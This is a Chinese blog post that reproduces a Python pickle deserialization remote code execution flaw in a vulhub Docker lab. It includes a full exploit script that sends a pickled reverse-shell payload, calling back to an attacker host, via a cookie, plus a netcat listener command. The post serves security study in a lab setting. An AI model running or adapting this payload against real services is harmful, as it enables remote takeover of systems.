Python unpickle 命令执行漏洞复现总结
仅做学习参考使用。
漏洞原理
pickle/cPickle是python序列化存储对象的一个工具,就像php反序列化存在漏洞,python序列化对象被反序列化后也很有可能执行其中的恶意代码,导致任意代码执行。pickle允许任意一个对象去定义一个__reduce__方法来声明怎么去序列化这个对象。这个方法返回一个字符串或者元组来描述当反序列化的时候该如何重构,可以把恶意代码写到__reduce__的返回中就可以构造出恶意的文件。
环境说明
漏洞复现
- 搭建vulhub,可以参考我以前的blog:vulhub搭建
- 进入vulhub-master/flask/ssti目录
cd vulhub-master/flask/ssti - 使用docker启动
docker-compose build
docker-compose up -d
执行结果如图所示: 4. 环境启动完成后,尝试访问 http://#{ip}:8000 5. 创建exp.py(反弹shell的IP和端口需要根据需要进行修改)
#!/usr/bin/env python3
import requests
import pickle
import os
import base64
class exp(object):
def __reduce__(self):
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("kali的ip",端口号));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
return (os.system, (s,))
e = exp()
s = pickle.dumps(e)
response = requests.get("http://#{ip}:8000/", cookies=dict(
user=base64.b64encode(s).decode()
))
print(response.content)
- 在kali开启监听,在靶机上执行.py文件就可以收到反弹的shell。
开启监听:nc -lvvp 端口号 执行.py 文件:python3 exp.py - 完成后 关闭docker-compose
docker-compose down
ref:https://blog.csdn.net/zy15667076526/article/details/111824525
|